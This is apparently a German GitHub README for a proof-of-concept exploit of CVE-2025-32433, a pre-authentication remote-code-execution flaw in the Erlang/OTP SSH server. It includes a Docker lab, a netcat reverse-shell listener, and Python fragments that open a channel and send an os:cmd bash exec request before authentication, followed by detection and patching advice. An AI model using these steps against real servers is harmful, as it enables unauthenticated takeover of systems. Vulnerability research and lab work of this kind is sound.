antoniesoga/erlang-otp-poc_cve-2025-32433Proof-of-Concept-Exploit für CVE-2025-32433, eine Erlang/OTP-SSH-Schwachstelle zur Kanalverwechslung vor der Authentifizierung, die die Umgehung der Authentifizierung und die Ausführung von Remote-Code mit einem Docker-Lab demonstriert.
Beschreibung: Eine Demonstration der Schwachstelle „Erlang/OTP SSH Pre-Authentication Channel Confusion“.
Klicken Sie hier, um die vollständige Demo auf YouTube anzusehen
Worum geht es in diesem PoC?
Dieser Proof of Concept demonstriert CVE-2025-32433, eine Sicherheitslücke in der Erlang/OTP SSH-Server-Implementierung, die es einem Angreifer ermöglicht, SSH-Kanäle zu öffnen und Befehle vor der Authentifizierung auszuführen.
Aufgrund einer unsachgemäßen Durchsetzung von SSH-Protokollzustandsübergängen werden bestimmte SSH-Nachrichten (SSH_MSG_CHANNEL_OPEN und SSH_MSG_CHANNEL_REQUEST) vor erfolgreichem Abschluss der Benutzerauthentifizierung akzeptiert. Dies führt zu einer vollständigen Authentifizierungsumgehung und Remotebefehlsausführung innerhalb der Erlang-VM.
Was muss anfällig sein, damit dies funktioniert?
Die Schwachstelle kann ausgelöst werden, wenn die folgenden Bedingungen erfüllt sind:
ssh-Anwendung ist aktiviertWichtig ist, dass dieses Problem nicht auf schwache Anmeldeinformationen oder Fehlkonfiguration zurückzuführen ist, sondern auf eine fehlerhafte Zustandsverarbeitung des Protokolls.
Wie äußert sich die Sicherheitslücke und warum ist sie ausnutzbar?
Das Problem liegt in einem Zustandsverwirrungsfehler im Erlang/OTP SSH-Server, bei dem der Authentifizierungszustand nicht strikt durchgesetzt wird, bevor kanalbezogene Nachrichten verarbeitet werden.
Auf hoher Ebene läuft die Ausnutzung wie folgt ab:
SSH_MSG_CHANNEL_OPEN-Anfrage für einen session-Kanal.SSH_MSG_CHANNEL_REQUEST vom Typ exec wird auf dem geöffneten Kanal gesendet.os:cmd/1) innerhalb des VM-Kontexts ausgeführt.Dieses Verhalten verstößt gegen das SSH-Protokollmodell gemäß RFC 4252/4254, das vorschreibt, dass Kanalerstellung und -anfragen nur nach erfolgreicher Authentifizierung erlaubt sein dürfen.
Kurz gesagt:
ssh_connection-Prozess verarbeitet exec-Anfragen verfrühtEs handelt sich hierbei um eine Logik- und Zustandsverwaltungsschwachstelle, nicht um eine kryptografische Schwäche.
Die folgenden Schritte erstellen und deployen eine eigenständige verwundbare Umgebung mittels Docker. Der Container führt einen bewusst gehärteten SSH-Server aus, der alle Anmeldeinformationen ablehnt, sodass eine erfolgreiche Befehlsausführung das Ergebnis einer Authentifizierungsumgehung ist.
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .
docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
Nach dem Start ist der SSH-Daemon auf Port 2222 verfügbar und bereit für die Ausnutzung mittels des bereitgestellten PoC.
Dieses Skript nutzt einen Fehler im Erlang/OTP SSH-Server aus, der die Verarbeitung bestimmter SSH-Protokollnachrichten vor der Authentifizierung erlaubt.
Der Ausnutzungsprozess erfordert zwei Terminals: eines zum Empfangen der Reverse-Verbindung und ein weiteres zum Starten des Exploits.
Listener (Terminal 1):
nc -lvnp 4488
Exploit-Ausführung (Terminal 2):
python3 exploit.py
Protokoll-Spoofing
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
Diese Nachrichten werden verwendet, um den Server dazu zu bringen, die Verbindung als legitimen SSH-Client zu behandeln. Sie versetzen den SSH-Protokollzustand weit genug, um kanalbezogene Nachrichten zu ermöglichen, ohne die Authentifizierung abzuschließen.
Sitzungskanal vor der Authentifizierung
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
Diese Anfrage wird verwendet, um vor der Authentifizierung einen Sitzungskanal zu öffnen. Auf verwundbaren Erlang/OTP SSH-Servern umgeht dies die normalen Zugriffskontrollen und erstellt eine nicht autorisierte Sitzung.
Befehlsausführungsanfrage
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
Diese Anfrage wird verwendet, um die Befehlsausführung über die Erlang-Laufzeitumgebung auszulösen. Durch die Verpackung der Nutzlast in Erlang-Syntax wird sichergestellt, dass der Befehl von der Erlang-VM ausgeführt wird, anstatt als Standard-SSH-Shell-Befehl behandelt zu werden.
Wenn das Ziel verwundbar ist, wird der übergebene Befehl ohne Authentifizierung ausgeführt.
Die Verteidigung gegen diese Sicherheitslücke beruht auf strikter Netzwerksegmentierung und Protokollebene-Überwachung, da Standard-Authentifizierungsprotokolle die Umgehungsversuche möglicherweise nicht aufzeichnen (da die Authentifizierung übersprungen wird).
SSH_MSG_CHANNEL_OPEN-Pakete (Typ 90) unmittelbar nach dem Key Exchange gesendet werden, ohne ein vorhergehendes SSH_MSG_USERAUTH_SUCCESS-Paket (Typ 52).os:cmd-Aufrufe oder Shell-Prozessstarts, die nicht mit einer erfolgreich angemeldeten Benutzersitzung in den Anwendungsprotokollen korrelieren.Die einzige vollständige Abhilfe besteht darin, die zugrunde liegende Erlang/OTP-Laufzeitumgebung zu patchen, um strikte Zustandsübergänge durchzusetzen.
Führen Sie sofort ein Upgrade der Erlang/OTP-Laufzeitumgebung auf eine Version durch, die Authentifizierungsprüfungen vor der Kanalerstellung durchsetzt. Stellen Sie sicher, dass Sie eine Version neuer als die im Abschnitt „Betroffene Bedingungen“ aufgeführten ausführen.
Überprüfen Sie die offiziellen Erlang/OTP GitHub Releases auf die neuesten Sicherheitspatches.
Wenn ein sofortiges Upgrade nicht möglich ist, wenden Sie die folgenden Kontrollen an:
Deaktivieren der SSH-Anwendung: Wenn die SSH-Schnittstelle nicht geschäftskritisch ist, stoppen Sie die Anwendung, um die Angriffsfläche zu entfernen:
ssh:stop().
Firewall-Whitelisting: Beschränken Sie den Netzwerkzugriff auf den exponierten SSH-Port strikt auf interne, administrative Subnetze.
Antonie Șoga
AntonieSoga · Mitarbeiter
Ene Călin Tudor
7uddy · Mitarbeiter
Cristian Bănică
BanicaCristian04 · Mitarbeiter
Nur für Bildungs- und Verteidigungsforschung.
